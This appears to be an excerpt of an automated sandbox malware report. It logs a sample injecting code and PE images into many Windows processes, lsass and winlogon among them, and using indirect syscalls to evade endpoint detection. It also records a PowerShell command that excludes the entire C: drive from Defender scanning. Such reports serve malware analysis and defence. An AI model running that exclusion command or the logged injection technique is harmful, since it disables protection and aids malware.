Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 8460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23014DD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21744F70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F02ED50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 1B2E6AF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 25A84C20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 194A0710000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AD4DDB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1C0F4C90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1F3A50F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 2164ACF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19985DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26D10740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 23F7CDE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2EE94180000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 23954370000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 14891430000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2006A1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2C3C6250000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 25DA5020000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 145F6100000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 231111B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 14249B00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 17C7A020000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 17C7AAB0000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 28_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

28_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 9172273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: BDCB273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 709A273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: B16B273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EFFC273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: AFB8273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F7B273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7C38273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8275273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 1B1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6AD4273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D3CA273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 73D3273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 21B273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: B9FD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 54D8273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 57DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 33B4273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7453273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1574273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C854273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 212A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6D54273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D895273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 433273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8E7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1936273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3180273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DD9B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA1C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D256273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 519273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D1A0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B0FC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6E58273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC5C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FAC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1A93273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 88F9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 857C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DEDC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A211273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FBEC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7C62273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5975273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AB57273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F95A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9EEE273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2B2E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC6E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 846273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 14DD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 44F7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2ED5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E6AF273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 84C2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A071273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4DDB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F4C9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A50F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ACF273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 85DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1074273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7CDE273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9418273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5437273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9143273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6A1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C625273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A502273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F610273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 111B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 49B0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7A02273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7AAB273C

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\LB311.exe	NtQuerySystemInformation: Indirect: 0x7FF62EF42108	Jump to behavior
Source: C:\ProgramData\Mig\Mig.exe	NtQueryInformationProcess: Indirect: 0x7FF746AEA315
Source: C:\ProgramData\Mig\Mig.exe	NtQuerySystemInformation: Indirect: 0x7FF746AB6D37
Source: C:\Users\user\AppData\Roaming\LB311.exe	NtQueryInformationProcess: Indirect: 0x7FF62EF4A43D	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	NtQuerySystemInformation: Indirect: 0x7FF62EF16D37	Jump to behavior
Source: C:\ProgramData\Mig\Mig.exe	NtQueryInformationProcess: Indirect: 0x7FF746AEA43D
Source: C:\ProgramData\Mig\Mig.exe	NtQuerySystemInformation: Indirect: 0x7FF746AE2108
Source: C:\Users\user\AppData\Roaming\LB311.exe	NtQueryInformationProcess: Indirect: 0x7FF62EF4A315	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2E991720000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 213BDCB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 158709A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 26DB16B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A3EFFC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C9AFB80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C06F7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2917C380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22382750000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28A1B1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1486AD40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24BD3CA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA73D30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD021B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 269B9FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22054D80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C57DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A333B40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F174530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23315740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A9C8540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EC212A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1876D540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22CD8950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15104330000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22308E70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AB19360000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E731800000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A6DD9B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2FA1C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: D50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 209D2560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FC05190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AFD1A00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D6B0FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2036E580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 150FC5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2480FAC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2671A930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C588F90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A8857C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 174DEDC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 282A2110000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DA09D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 287FBEC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 2537C620000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29B59750000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20CAB570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BBF95A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D49EEE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 26E2B2E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0CC6E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 8460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23014DD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21744F70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F02ED50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1B2E6AF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 25A84C20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 194A0710000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AD4DDB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1C0F4C90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F3A50F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 2164ACF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19985DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26D10740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 23F7CDE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2EE94180000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 23954370000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 14891430000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2006A1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C3C6250000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25DA5020000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 145F6100000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 231111B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 14249B00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 17C7A020000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 17C7AAB0000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 4084 base: 8460000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\LB311.exe

Thread register set: target process: 4620

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2E991720000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 213BDCB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 158709A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 26DB16B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A3EFFC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C9AFB80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C06F7B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2917C380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22382750000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28A1B1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1486AD40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24BD3CA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA73D30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD021B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 269B9FD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22054D80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C57DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A333B40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F174530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23315740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A9C8540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EC212A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1876D540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22CD8950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15104330000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22308E70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AB19360000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E731800000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A6DD9B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2FA1C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: D50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 209D2560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FC05190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AFD1A00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D6B0FC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2036E580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 150FC5C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2480FAC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2671A930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C588F90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A8857C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 174DEDC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 282A2110000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DA09D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 287FBEC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 2537C620000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29B59750000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20CAB570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BBF95A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D49EEE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 26E2B2E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0CC6E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 8460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23014DD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21744F70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F02ED50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1B2E6AF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 25A84C20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 194A0710000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AD4DDB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1C0F4C90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F3A50F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 2164ACF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19985DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26D10740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 23F7CDE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2EE94180000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 23954370000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 14891430000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2006A1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C3C6250000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 25DA5020000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 145F6100000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 231111B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 14249B00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 17C7A020000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 17C7AAB0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1FB0ED50000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\	Jump to behavior
